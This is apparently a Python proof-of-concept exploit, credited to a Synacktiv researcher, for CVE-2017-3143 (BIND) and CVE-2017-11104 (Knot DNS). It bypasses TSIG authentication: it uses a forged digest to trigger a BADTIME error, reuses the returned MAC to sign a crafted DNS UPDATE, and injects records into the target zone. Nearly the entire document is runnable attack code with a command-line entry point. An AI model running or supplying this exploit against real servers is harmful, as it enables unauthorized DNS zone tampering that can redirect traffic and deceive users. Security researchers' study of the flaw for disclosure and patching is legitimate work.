README.md
Rendering markdown...
# Clement Berthaux - Synacktiv
# Exploit for CVE-2017-3143 (Bind) and CVE-2017-11104 (Knot-dns)
import dns.query
import dns.zone
import dns.tsigkeyring
import dns.tsig
import dns.message
import dns.update
from time import time, sleep
from struct import pack
def get_forged(zone, sz):
req = dns.update.Update(zone)
# update this with whatever change you want to do
# req.delete('i.can.inject.records.in.the.zone', 'txt')
req.add('i.can.inject.records.in.the.zone', 3600, 'txt', 'injected')
# padding needed to absorb the appended answer data
req.delete('padding', 'txt')
req.add('padding', 3600, 'txt', '\x00'*sz)
return req
def exploit(host, zone, key_name):
keyring = dns.tsigkeyring.from_text({
key_name : 'whateverwrongkey'.encode('base64')
})
origin = dns.name.from_text(zone)
sz = 12+sum(len(e)+1 for e in (zone).split('.'))+1+4
fudge = 300
forged = get_forged(zone, sz)
dns.query.udp(forged, host)
# get forged data and strip the last sz bytes of padding data
forged_data = forged.to_wire()
forged_data = forged_data[2:-sz]
forged.id = len(forged_data)
print '[+] generated forged request'
# For some reasons triggering a TSIG BADTIME error doesn't seem to be logged by Knot
trigger = dns.message.make_query(zone, dns.rdatatype.A)
trigger.use_tsig(keyring, keyname=key_name, algorithm=dns.tsig.HMAC_SHA256)
t = time()
ts = time()+fudge+1
# set timestamp out of valid time window
trigger.time_func = lambda:ts
# alter trigger digest
trigger.request_hmac = forged_data
print '[+] sending trigger with forged digest'
ans = dns.query.tcp(trigger, host, origin=origin)
if not ans.mac:
print '[-] couldnt get mac from answer, probably got TSIG_BAD_KEY but dnspython is too bad to populate the tsig_error attribute'
return
# add TSIG record
forged.use_tsig(keyring, keyname=key_name, original_id=forged.id, algorithm=dns.tsig.HMAC_SHA256)
# use the same ts which should now be valid
forged.time_func = lambda: ts
# replace digest
forged.request_hmac = ans.mac
# set TSIG error because it's part of the digest
forged.tsig_error = 0x12
forged.other_data = '\x00\x00'+pack('>I', int(t))
print '[+] signed request mac is %s' % ans.mac.encode('hex')
forged.id = len(trigger.request_hmac)
print '[+] waiting for signature validity'
sleep(2)
# patch additionnal_record_count in padding data
data = ans.to_wire()[:11]+'\x00'+ans.to_wire()[12:sz]
forged.authority[-1][0].strings[0] = data
print '[+] sending forged update'
p = dns.query.udp(forged, host)
if p.rcode():
print '[-] update failed, got errcode %d' % p.rcode()
return
print '[+] zone updated !'
if __name__ == '__main__':
from argparse import ArgumentParser
p = ArgumentParser()
p.add_argument('host')
p.add_argument('zone')
p.add_argument('keyname')
o = p.parse_args()
exploit(o.host, o.zone, o.keyname)